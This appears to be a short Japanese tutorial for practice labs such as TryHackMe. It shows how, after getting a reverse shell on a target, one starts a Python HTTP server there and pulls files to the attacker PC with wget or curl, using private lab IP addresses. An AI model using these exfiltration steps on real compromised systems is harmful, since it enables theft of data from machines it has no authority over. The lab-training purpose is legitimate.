本記事では、TryHackMeなどの演習環境において、リバースシェルを利用して侵入先サーバー(やられ用PC)から攻撃用PCへファイルをコピーする方法を、分かりやすくご紹介します。
目次
【想定環境】
役割 | 内容 | IPアドレス例 |
---|---|---|
攻撃用PC | Kali Linuxなど自分の操作端末 | 192.168.100.50 |
やられ用PC | 侵入対象サーバー(リモート) | 192.168.100.100 |
※すでにリバースシェルで「やられ用PC」へ侵入している状態を前提とします。
【概要:コピーの流れ】
- やられ用PCにHTTPサーバーを立てる
- 攻撃用PCからHTTP経由でファイルをダウンロードする
【手順詳細】
① やられ用PCにHTTPサーバーを立てる
侵入先サーバー(やられ用PC)上で以下を実行します。
cd /var/www/html/assets/images
python3 -m http.server 9999
このコマンドにより、やられ用PCのポート9999でHTTPサーバーが起動し、images
ディレクトリ内のファイルが公開されます。
② 攻撃用PCからファイルをダウンロード
攻撃用PCで以下を実行し、やられ用PCからファイルを取得します。
wget http://192.168.100.100:9999/oneforall.jpg
wget http://192.168.100.100:9999/yuei.jpg
もしくは curl
を使用する場合:
curl -O http://192.168.100.100:9999/oneforall.jpg
curl -O http://192.168.100.100:9999/yuei.jpg
【ポイント】
- やられ用PCから「攻撃用PCへプッシュ送信」するのではなく、「攻撃用PCからやられ用PCにアクセスしてファイルを取得」する形式です。
- やられ用PCに
python3
が入っていない場合、別の方法(nc
やbase64
経由)が必要です。
【まとめ】
リバースシェルを利用した後、確実にファイルを攻撃用PCにコピーするには、やられ用PCに簡易HTTPサーバーを立て、攻撃用PCからダウンロードする方法が効率的です。
今後の記事では、nc
(netcat)やscp
、base64
を利用した転送方法もご紹介いたします。